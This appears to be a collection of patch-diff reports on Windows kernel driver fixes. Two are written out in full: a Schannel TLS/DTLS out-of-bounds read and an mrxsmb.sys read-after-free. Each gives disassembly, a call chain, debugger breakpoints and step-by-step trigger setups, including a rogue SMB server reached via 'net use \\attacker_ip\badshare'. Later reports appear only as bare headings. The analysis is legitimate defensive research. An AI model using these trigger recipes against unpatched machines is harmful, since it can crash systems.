Establish a TLS or DTLS context handled by the kernel Schannel provider so that inbound records are decrypted through SslUnsealMessage* / Tls*DecryptHandler.
Send an encrypted record whose declared/actual buffer length (cbBuffer, the SPBuffer length field at +4) satisfies cbBuffer >= cipher_overhead (ctx[0x40]+ctx[0x44]) but is shorter than the header the parser dereferences: fewer than 5 bytes for a TLS record, or fewer than 13 bytes for a record whose version byte marks it DTLS (rec[1] == 0xFE).
Unpatched observation: execution reaches movzx ..., byte ptr [rec+0xB] / [rec+0xC] (or [rec+3]/[rec+4]) and reads past the end of the record buffer.
Patched observation: the new cmp <len>, 5 / cmp <len>, 0Dh returns STATUS_INVALID_TOKEN (0x80090318) before the read.

Whether step 2 is achievable in practice depends on the negotiated cipher's cipher_overhead being smaller than the header length.

Findings #2 and #3

No trigger distinguishes the two builds. DigestKernelHTTPHelper's loop bound and skip set are compile-time constants identical across builds; strcat_s's bound is a caller-supplied constant and both builds terminate at the same byte with the same ERANGE result.

6. Exploit Primitive & Development Notes

Finding #1

Primitive: Kernel out-of-bounds read (CWE-125) of a few bytes past an attacker-supplied TLS/DTLS record buffer, reached before the fixed-offset header fields are validated for presence.
Reachable effect: the out-of-bounds bytes form a declared record length that is then re-checked against cbBuffer, so the realistic outcome is a read fault (denial of service) or a length/parsing decision influenced by adjacent memory, rather than a controlled information disclosure. No write primitive is present in this change.
Constraints: requires an active TLS/DTLS context on the kernel Schannel path and a record short enough to slip under the header length while still passing the cipher-overhead check.

Findings #2 and #3

No exploit primitive. Both are semantics-preserving compiler output differences (predicate re-encoding plus helper inlining; dead-code removal). There is nothing to weaponize and no mitigation analysis applies.

7. Verification Notes

Finding #1

Tls13DecryptHandler: unpatched guard cmp r8d, edx @ 0x1C000AE5E; unguarded DTLS reads [rdi+0Bh]/[rdi+0Ch] @ 0x1C000AE8E/0x1C000AE92. Patched adds cmp edx, 5 @ 0x140001723 and cmp edx, 0Dh @ 0x140001865 before the corresponding reads at 0x14000174F/0x140001754 and 0x14000186E/0x140001873.
Confirm the unpatched functions TlsDecryptHandler (0x1C0001770), SslUnsealMessageStream (0x1C0001330), and SslUnsealMessageConnection (0x1C000A6BC) contain no cmp <len>, 5 or cmp <len>, 0Dh, while their patched counterparts do (addresses in the table in §4).

Finding #2 — `DigestKernelHTTPHelper`

Unpatched loop tail 0x1C00071E3–0x1C0007225; patched 0x14000986B–0x1400098AD. Indices {7,8,10} skip, all others copy under the same null-word condition. Sequence counter: unpatched call @ 0x1C0007176 → helper 0x1C0006E90; patched inlined 0x1400097D3–0x140009803.

Finding #3 — `strcat_s`

Unpatched copy loop 0x1C00034B4–0x1C00034D0; patched 0x1400057B4–0x1400057CB. Identical write-then-check order; the unpatched test rdx,rdx; jnz @ 0x1C00034C8 is unreachable (rdx == 0 on fall-through). Both return 34 at the boundary after the last in-bounds write.

8. Changed Functions — Full Triage

Function	Change type	Note
`Tls13DecryptHandler` @ `0x1C000ADC4`	security_relevant	Adds `cmp <len>,5` / `cmp <len>,0Dh` floors before header reads at offsets `1/3/4` (TLS) and `0xB/0xC` (DTLS); unpatched guarded only by `cbBuffer >= cipher_overhead`. CWE-125 OOB read hardening.
`TlsDecryptHandler` @ `0x1C0001770`	security_relevant	Same minimum-length floors added (`cmp edx,5` @ `0x1400019FD`, `cmp edx,0Dh` @ `0x140001A3A`).
`SslUnsealMessageStream` @ `0x1C0001330`	security_relevant	Same floors added at two record-parse sites (`0x140001234`/`0x14000154E` and `0x140001385`/`0x140001587`).
`SslUnsealMessageConnection` @ `0x1C000A6BC`	security_relevant	Same floors added (`cmp ecx,5` @ `0x140004F8F`, `cmp ecx,0Dh` @ `0x140004FDC`).
`DigestKernelHTTPHelper` @ `0x1C0006F00`	no_security_change	`{7,8,10}` skip predicate re-encoded (identical value set); `DigestKernelGetNextSeqNumber` inlined (same fast-mutex counter); register reallocation. No behavioral change.
`strcat_s` @ `0x1C0003480`	no_security_change	Dead-code removal only; copy bounds and `ERANGE` behavior identical; size is a compile-time constant. No off-by-one in either build.
`DigestCreateChalResp` @ `0x1C00083CC`	behavioral	Digest response builder; fixed `0x3001`/`0x1001` constant buffers with `sprintf_s`/`strcat_s`. Reorganized; no security boundary change.
`wil_details_FeatureReporting_IncrementOpportunityInCache` @ `0x1C00042CC`	cosmetic	WIL feature-usage telemetry; register reallocation. Not a security fix.
`wil_details_FeatureReporting_IncrementUsageInCache` @ `0x1C00043B4`	cosmetic	WIL feature-usage telemetry; register reallocation. Not a security fix.
`NtLmInitKernelContext` @ `0x1C001D530`	cosmetic	`rdx`/`rcx` swaps; allocation sizes bounded (`< 0xffff`) in both builds.
`KerbMakeSignatureToken` @ `0x1C00229F0`	behavioral	Kerberos signature-token formatting reorganized as part of the crypto refactor; no bounds/validation added or removed.

The remainder of the 294-function diff is servicing/compiler rebuild churn: a new KerberosCryptoPolicy C++ class hierarchy with unique_ptr/vector<WrapBuffer> scaffolding, SymCrypt-style crypto wrappers (Sha256Wrap*, Sha384Wrap*, Sha512Wrap*, CngRsa32Compat_*) replacing the older des*/md5Des*/md25* routines, WIL feature-staging gates (Feature_Servicing_KsecpkgArgonSiloFix, Feature_385562938), and TraceLogging/telemetry. Other record-adjacent functions (der_read_length, DeserializeContextWorker, g_verify_token_header, DTLSCheckRecordValidity, TlsParseAlertMessage, SPCountCertificates) were reviewed and carry equivalent bounds logic (a couple add only null-pointer guards), not a bounds/overflow fix.

9. Unmatched Functions

removed: []
added:   [TlsDecryptMessage]   ; extracted record-decrypt helper present only in the patched build; carries the same >=5 / >=0xD length floors

The reported match set lists no added/removed functions. At the symbol level the patched build introduces new C++/library and feature-staging symbols (crypto-policy classes, SymCrypt wrappers, WIL feature gates, telemetry) and drops the older standalone des*/md5Des* crypto helpers, and it extracts TlsDecryptMessage as a shared record-decrypt helper. Aside from the length-floor fix carried into TlsDecryptMessage, these are consistent with a library/servicing rebuild rather than additional vulnerability fixes.

10. Confidence & Caveats

Confidence: High.

Strongly evidenced:
The added cmp <length>, 5 and cmp <length>, 0Dh floors are present in every patched record-parse entry point and absent from every unpatched counterpart; the unpatched builds reach movzx ..., byte ptr [rec+0xB]/[rec+0xC] (and [rec+3]/[rec+4]) with only a cipher-overhead comparison in front. The direction is correct (patched is stricter) and the operation is a read (CWE-125).
DigestKernelHTTPHelper's loop is a compile-time-bounded index over a fixed table; both builds skip the identical set {7,8,10}; the sequence-counter change is inlining of a helper with the same locking.
strcat_s decompiles identically in both builds; the only delta is dead-code removal, and its size argument is a compile-time constant.
Caveats:
Whether the TLS/DTLS length-floor fix corresponds to a reachable out-of-bounds access (versus defense-in-depth) depends on whether the negotiated cipher's cipher_overhead (ctx[0x40]+ctx[0x44]) can be smaller than the 5-/13-byte header; that lower bound was not established here. Severity is rated Medium accordingly (kernel OOB read, network-adjacent TLS/DTLS surface, no write primitive, leaked bytes feed a re-validated length).
The overall diff reflects a large servicing/compiler rebuild; the remaining changed functions were reviewed for added/removed bounds or validation and found to be library/feature-staging/telemetry churn or semantics-preserving refactors.

mrxsmb.sys — Read-after-free of VNetRoot device-object pointer in tree-connect completion (CWE-416) fixed

2026-06-29T00:00:00-07:00

1. Overview

Unpatched Binary: mrxsmb_unpatched.sys
Patched Binary: mrxsmb_patched.sys
Overall Similarity: 0.9909
Diff Statistics: 1059 matched, 1 changed, 1058 identical, 0 unmatched (in both directions).
Verdict: The patch adds a feature-gated hardening that caches a device-object pointer read from the VNetRoot context before that context can be dereferenced (and possibly freed) on the tree-connect error path. The underlying read-after-free (CWE-416) exists in the unpatched build. The delivered fix is gated behind a WIL feature flag and the unsafe live read is retained in the else-branch, so the mitigation is a staged rollout rather than an unconditional fix.

2. Vulnerability Summary

Severity: Medium
Vulnerability Class: Use-After-Free / read-after-free (CWE-416)
Affected Function: SmbCeCompleteVNetRootConstruction @ 0x1C0019DB8

Root Cause: SmbCeCompleteVNetRootConstruction is the completion handler for an SMB tree-connect (VNetRoot construction) exchange. When the NTSTATUS argument is negative, the error path calls SmbCeDecrementActiveVNetRootsOnVNetRootContext and then SmbCeDereferenceVNetRootContext(rsi) at 0x1C0019FB3, where rsi is the VNetRoot context (arg1). SmbCeDereferenceVNetRootContext decrements the context's reference count and, on the last reference, tears the object down and frees it. Execution then jumps to the merge point at 0x1C0019F03, shared with the success path. At 0x1C0019F2D the code executes mov rcx, [rsi+18h], reading the pMRxDeviceObject pointer from the VNetRoot context that may already be freed, and passes it as the first argument to RxPostToWorkerThread at 0x1C0019F31. On the error path this is a read of a potentially freed object (CWE-416).

The patched build pre-reads [rdi+18h] into a stack slot at function entry (0x1C0019DF6), before any dereference, and uses that cached copy at the merge point. This capture is only performed when Feature_1585957178__private_IsEnabledDeviceUsage() returns nonzero; when the feature is disabled the original live read from [rdi+18h] is retained at 0x1C001A0F2.

Reachability & Call Chain: 1. A local user triggers access to an SMB share over a UNC path (e.g. NtCreateFile("\\server\share"), net use). 2. rdbss.sys dispatches to the mini-redirector callback MRxSmbCreateVNetRoot (0x1C0017090), which initiates an SMB tree-connect exchange. 3. On asynchronous exchange completion, Smb2ConstructVNetRoot_Finalize (0x1C0019D90) calls SmbCeCompleteVNetRootConstruction(arg1=[rcx+50h], arg2=[rcx+1B8h], arg3=[rcx+8]), where arg3 is the exchange NTSTATUS. 4. If the exchange completed with a negative NTSTATUS, the error path calls SmbCeDereferenceVNetRootContext(rsi) at 0x1C0019FB3. 5. Execution reaches the merge point at 0x1C0019F03; the read at 0x1C0019F2D and the RxPostToWorkerThread call at 0x1C0019F31 consume the pointer from the potentially freed context.

Note: the synchronous call to SmbCeCompleteVNetRootConstruction from within MRxSmbCreateVNetRoot at 0x1C00174EF sets r8d = 0 (success status) before the call, so it does not take the error path and does not reach the dereference.

3. Pseudocode Diff

// === UNPATCHED SmbCeCompleteVNetRootConstruction (rsi = arg1 = VNetRoot context) ===
NTSTATUS SmbCeCompleteVNetRootConstruction(void* rsi, void* r15 /*exchange*/, int ebp /*status*/) {
    // ...
    if (ebp < 0) {                       // 0x1C0019EBD/EBF: negative NTSTATUS -> error path
        *(r14 + 0x28) = 0;               // 0x1C0019F98
        *(rsi + 0x1e0) = 0;              // 0x1C0019FA0
        SmbCeDecrementActiveVNetRootsOnVNetRootContext(rsi, r14); // 0x1C0019FAB
        SmbCeDereferenceVNetRootContext(rsi);  // 0x1C0019FB3: may FREE rsi on last ref
        // jmp to merge point
    }
Merge_Point:                             // 0x1C0019F03 (shared success/error)
    void* device = *(rsi + 0x18);        // 0x1C0019F2D: read-after-free on error path
    RxPostToWorkerThread(device, 0, r15 + 0xc8, *(r15+0x110), r15);  // 0x1C0019F31
}

// === PATCHED SmbCeCompleteVNetRootConstruction (rdi = arg1 = VNetRoot context) ===
NTSTATUS SmbCeCompleteVNetRootConstruction(void* rdi, void* rsi /*exchange*/, int r14d /*status*/) {
    void* cached = NULL;                                     // 0x1C0019DD3: stack slot zeroed
    if (Feature_1585957178__private_IsEnabledDeviceUsage())  // 0x1C0019DED
        cached = *(rdi + 0x18);                              // 0x1C0019DF6: capture BEFORE deref
    // ...
    if (r14d < 0) {
        SmbCeDecrementActiveVNetRootsOnVNetRootContext(rdi, r15); // 0x1C001A0A8
        SmbCeDereferenceVNetRootContext(rdi);                    // 0x1C001A0B0
    }
Merge_Point:                                                 // 0x1C001A0B5
    void* device = cached;                                   // 0x1C001A0DD: use cached copy
    if (!Feature_1585957178__private_IsEnabledDeviceUsage()) // 0x1C001A0CA re-check
        device = *(rdi + 0x18);                              // 0x1C001A0F2: retained live read
    RxPostToWorkerThread(device, 0, rsi + 0xc8, *(rsi+0x110), rsi); // 0x1C001A0F8
}

4. Assembly Analysis

Unpatched error path to merge point (mrxsmb_unpatched.sys):

00000001C0019F98  and     qword ptr [r14+28h], 0                 ; clear context pointer
00000001C0019FA0  and     qword ptr [rsi+1E0h], 0                ; clear VNetRoot back-pointer
00000001C0019FA8  mov     rcx, rsi
00000001C0019FAB  call    SmbCeDecrementActiveVNetRootsOnVNetRootContext
00000001C0019FB0  mov     rcx, rsi                              ; rcx = VNetRoot context (arg1)
00000001C0019FB3  call    SmbCeDereferenceVNetRootContext       ; may free rsi on last reference
00000001C0019FB8  jmp     loc_1C0019F03                         ; to merge point

00000001C0019F03  mov     r9, [r15+110h]                        ; Routine
00000001C0019F0A  lea     r8, [r15+0C8h]                        ; pWorkQueueItem
00000001C0019F11  neg     r13b
00000001C0019F14  mov     [r15+118h], ebp                       ; store status in exchange
00000001C0019F1B  mov     [rsp+58h+pContext], r15
00000001C0019F20  sbb     eax, eax
00000001C0019F22  xor     edx, edx                              ; WorkQueueType = 0
00000001C0019F24  and     eax, ebp
00000001C0019F26  mov     [r15+11Ch], eax
00000001C0019F2D  mov     rcx, [rsi+18h]                        ; read pMRxDeviceObject (read-after-free on error path)
00000001C0019F31  call    cs:__imp_RxPostToWorkerThread         ; consumes the pointer

Patched capture at entry and gated consumption (mrxsmb_patched.sys):

00000001C0019DD3  and     [rsp+68h+arg_8], 0                    ; init cached ptr to NULL
00000001C0019DED  call    Feature_1585957178__private_IsEnabledDeviceUsage
00000001C0019DF2  test    eax, eax
00000001C0019DF4  jz      short loc_1C0019DFF                   ; skip capture if feature disabled
00000001C0019DF6  mov     rax, [rdi+18h]                        ; capture *(arg1+0x18) BEFORE any deref
00000001C0019DFA  mov     [rsp+68h+arg_8], rax                  ; save to stack slot

; error path deref (same structure as unpatched):
00000001C001A0A8  call    SmbCeDecrementActiveVNetRootsOnVNetRootContext
00000001C001A0B0  call    SmbCeDereferenceVNetRootContext       ; may free rdi

; merge point:
00000001C001A0CA  call    Feature_1585957178__private_IsEnabledDeviceUsage
00000001C001A0CF  mov     r9, [rsi+110h]
00000001C001A0D6  lea     r8, [rsi+0C8h]
00000001C001A0DD  mov     rcx, [rsp+68h+arg_8]                  ; use cached ptr
00000001C001A0E2  xor     edx, edx
00000001C001A0E4  test    eax, eax
00000001C001A0E6  mov     [rsp+68h+pContext], rsi
00000001C001A0EB  setnz   dl
00000001C001A0EE  test    edx, edx
00000001C001A0F0  jnz     short loc_1C001A0F6                   ; if feature enabled, keep cached ptr
00000001C001A0F2  mov     rcx, [rdi+18h]                        ; retained live read when feature disabled
00000001C001A0F8  call    cs:__imp_RxPostToWorkerThread

The feature helper is WIL feature-staging boilerplate:

Feature_1585957178__private_IsEnabledDeviceUsage():
    if (Feature_1585957178__private_featureState & <mask>)
        return Feature_1585957178__private_featureState & 1;
    else
        return Feature_1585957178__private_IsEnabledFallback(..., 3);

5. Trigger Conditions

A VNetRoot (tree-connect) construction exchange completes with a negative NTSTATUS. This occurs when connecting to an unreachable server, when the server denies access (e.g. STATUS_NETWORK_ACCESS_DENIED 0xC00000CB), when the share name is invalid (STATUS_BAD_NETWORK_NAME 0xC00000CC), on network timeout, or when the function itself sets an error status (NetRoot type byte at [VNetRoot+0xBC] not 0/1/3 sets 0xC00000CB; a caching-mode condition sets 0xC0410001).
The negative status flows through Smb2ConstructVNetRoot_Finalize (0x1C0019D90) into SmbCeCompleteVNetRootConstruction as arg3, taking the error path.
SmbCeDereferenceVNetRootContext must drop the last reference to the VNetRoot context for the object to actually be freed. If other references remain, the object survives and the read at 0x1C0019F2D returns valid data (latent bug rather than a live memory-safety fault).
Observable effect: when the object is freed and the freed page/pointer is invalid, dereferencing the stale device-object pointer inside the worker path can crash the system (bugcheck such as 0x50 PAGE_FAULT_IN_NONPAGED_AREA).

6. Impact Assessment

The read at 0x1C0019F2D returns a pointer field from a possibly-freed VNetRoot context; that pointer is then handed to RxPostToWorkerThread as the device-object argument.
Whether this is reachable in the wild depends on the reference-count state at the time of the error completion: the object is only actually freed when this dereference drops the last reference. This, together with the fix being feature-gated with the original live read retained in the else-branch, is why the severity is assessed as Medium rather than High.
No exploit primitive beyond a stale kernel-pointer read/dereference is demonstrable from these two builds. Claims of pool grooming, controlled reclamation, function-pointer hijack, or code execution are not supported by the disassembly and are not asserted here.

7. Debugger Notes

Breakpoints (unpatched):

bp mrxsmb!SmbCeCompleteVNetRootConstruction   ; 0x1C0019DB8 — inspect rcx (VNetRoot ctx), r8d (NTSTATUS)
bp 0x1C0019FB3                                 ; SmbCeDereferenceVNetRootContext(rsi) — the deref that may free
bp 0x1C0019F2D                                 ; mov rcx,[rsi+18h] — the read from the possibly-freed context

What to inspect: - At 0x1C0019DB8: confirm r8d (arg3/NTSTATUS) is negative so the error path is taken; note [rcx+18h]. - At 0x1C0019FB3: rcx = rsi = VNetRoot context. Run !pool @rcx before stepping over, then re-check @rsi state after return. - At 0x1C0019F2D: the value read from [rsi+18h]. If !pool @rsi shows the block freed or reallocated, the read-after-free occurred.

Key offsets: - 0x1C0019EBF: js loc_1C0019F74 — branch dispatching negative NTSTATUS to the error path. - 0x1C0019FB3: call SmbCeDereferenceVNetRootContext — dereference that may free the context. - 0x1C0019F2D: mov rcx, [rsi+18h] — the read from the possibly-freed context. - 0x1C0019F31: call cs:__imp_RxPostToWorkerThread — consumes the pointer.

Trigger setup: 1. Stand up an SMB server that completes negotiation but returns an error in the TREE_CONNECT response (invalid/non-existent share, or an access-denied/bad-network-name status). 2. From the target (unpatched mrxsmb.sys), access a UNC path to that server, e.g. net use \\attacker_ip\badshare. 3. The negative NTSTATUS flows to SmbCeCompleteVNetRootConstruction with a negative arg3 and takes the error path. 4. Observe the pool state at 0x1C0019F2D to confirm whether the VNetRoot context was freed at that point.

8. Changed Functions — Full Triage

SmbCeCompleteVNetRootConstruction @ 0x1C0019DB8 (Similarity: 0.7977, Change Type: Security Relevant)
Key Change: Pre-captures *(arg1+0x18) into a stack slot at entry (0x1C0019DF6), gated by Feature_1585957178__private_IsEnabledDeviceUsage, and consumes the cached value at the merge point (0x1C001A0DD). When the feature is disabled, the original live read from *(arg1+0x18) is retained at 0x1C001A0F2.
Non-security changes: Register allocation reorganized (rbp pushed instead of spilled; status held in r14 instead of rbp); basic-block count grew from 50 to 55 for the gated caching logic.
Newly added helpers: Feature_1585957178__private_IsEnabledDeviceUsage and Feature_1585957178__private_IsEnabledFallback — WIL feature-staging boilerplate supporting the gate above; no independent security logic.
Independent diff result: Only SmbCeCompleteVNetRootConstruction changed logic. All other differences between the two builds are WPP tracing changes (a differing global trace GUID and renumbered trace/ETW message IDs) and decompiler register renaming. No other security-relevant change was found or omitted.

9. Unmatched Functions

No unmatched functions were detected in either direction. The patch is an in-place logical change to one function plus the added feature-flag helpers.

10. Confidence & Caveats

Confidence Level: High that the read-after-free exists in the unpatched build and that the patched build adds a pre-capture mitigation for it.
Caveats: The fix is feature-gated (Feature_1585957178__private_IsEnabledDeviceUsage) with the original live read retained when the feature is off, so it is a staged rollout rather than an unconditional fix. Actual exploitability depends on SmbCeDereferenceVNetRootContext dropping the last reference to the VNetRoot context at the error completion; if other references remain, the object survives and the read is safe.

The Drift Corpus: Ring 0

http.sys — Integer overflow in per-request array capacity (CWE-190) causing kernel pool overflow in UlpParseNextRequest fixed

1. Overview

2. Vulnerability Summary

Critical — Integer Overflow (CWE-190) → Kernel Pool Buffer Overflow (CWE-122)

3. Pseudocode Diff

4. Assembly Analysis

UNPATCHED — vulnerable allocation block

PATCHED — the safe path and the RTL safe-add routine RtlUShortAdd (sub_1c001c6e4)

5. Trigger Conditions

6. Exploit Primitive & Development Notes

7. Debugger PoC Playbook

Breakpoints

What to inspect at each breakpoint

Trigger setup (from user mode)

Expected observation

Struct / offset notes

8. Changed Functions — Full Triage

9. Unmatched Functions

10. Confidence & Caveats

cea.sys — Integer overflow (CWE-190) leading to kernel pool buffer overflow (CWE-122) in EaSignalAggregatedEvent fixed

1. Overview

2. Vulnerability Summary

Finding 1 — Critical: Integer Overflow (CWE-190) → Kernel Pool Buffer Overflow (CWE-122)

Finding 2 — No security-relevant change: WNF State Data Parsing Refactored

3. Pseudocode Diff

EaSignalAggregatedEvent — vulnerable size computation

WnfEventCallback (sub_1C00018C8) — WNF parsing path

4. Assembly Analysis

EaSignalAggregatedEvent — full unpatched vulnerable path

Patched overflow check (new EapSignalContentPrepareEventForPublishing (sub_140008b90))

5. Trigger Conditions

6. Exploit Primitive & Development Notes

7. Debugger PoC Playbook (WinDbg / KD)

Breakpoints (paste directly)

What to inspect at each breakpoint

Key offsets

Trigger setup from user mode

Expected runtime observation

Struct / offset notes

8. Changed Functions — Full Triage

Security-relevant

Behavioral (not directly exploitable, but worth flagging)

Cosmetic / register-allocation only

9. Unmatched Functions

10. Confidence & Caveats

dxgkrnl.sys — Use-After-Free (CWE-416) — missing reference count on DXGSHAREDVMOBJECT in DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage fixed

1. Overview

2. Vulnerability Summary

Finding 1: Use-After-Free in ProcessChannelMessage

Finding 2: Cross-Device Memory Access in VmBusBlt

Finding 3: Missing Resource Reference in VmBusCreateNtSharedObject

Finding 4: Race Conditions in Pin/Unpin Operations

3. Pseudocode Diff

DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage (UAF)

4. Assembly Analysis

DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage

DXG_HOST_VIRTUALGPU_VMBUS::VmBusBlt

5. Trigger Conditions

6. Exploit Primitive & Development Notes

7. Debugger PoC Playbook

8. Changed Functions — Full Triage

9. Unmatched Functions

10. Confidence & Caveats

fcvsc.sys — untrusted host transaction ID dereferenced as kernel SRB pointer (CWE-822) fixed

1. Overview

2. Vulnerability Summary

Finding 1: Untrusted Pointer Dereference via VMBus Transaction ID

Finding 2: Added hard cap on SCSI sense-data length (defense in depth)

Finding 3: Host-negotiated ring-buffer size validation (defense in depth)

Finding 4: Completion-packet structure validation (defense in depth)

Finding 5: IOCTL input-buffer size correction

3. Pseudocode Diff

CrashVscSendSrbRequest & CrashVscHwInterrupt (Untrusted Pointer Fix)

CrashVscSrbCompletion (added sense-length cap)

4. Assembly Analysis

Untrusted pointer dereference

Sense-data length (added cap over an existing bound)

5. Trigger Conditions

6. Exploit Primitive & Development Notes

PATCHED — the safe path and the RTL safe-add routine `RtlUShortAdd (sub_1c001c6e4)`

`EaSignalAggregatedEvent` — vulnerable size computation

`WnfEventCallback (sub_1C00018C8)` — WNF parsing path

`EaSignalAggregatedEvent` — full unpatched vulnerable path

Patched overflow check (new `EapSignalContentPrepareEventForPublishing (sub_140008b90)`)

Finding 1: Use-After-Free in `ProcessChannelMessage`

Finding 2: Cross-Device Memory Access in `VmBusBlt`

Finding 3: Missing Resource Reference in `VmBusCreateNtSharedObject`

`DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage` (UAF)

`DXG_HOST_REMOTEOBJECTCHANNEL::ProcessChannelMessage`

`DXG_HOST_VIRTUALGPU_VMBUS::VmBusBlt`

`CrashVscSendSrbRequest` & `CrashVscHwInterrupt` (Untrusted Pointer Fix)

`CrashVscSrbCompletion` (added sense-length cap)

Evidence — `AfdSocketTransferEnd` @ `0x1C005F9A0`

Evidence — `AfdGetInformation` deliver-status path

`AfdSanAcceptCore` @ `0x1C007C0CC` — before/after

`AfdSanAcceptCore` @ `0x1C007C0CC` — unpatched (unbounded copies)

`AfdSanAcceptCore` @ `0x1C007C0CC` — patched (bounded, feature-gated)

Key instructions / offsets (function-relative to `AfdSanAcceptCore`)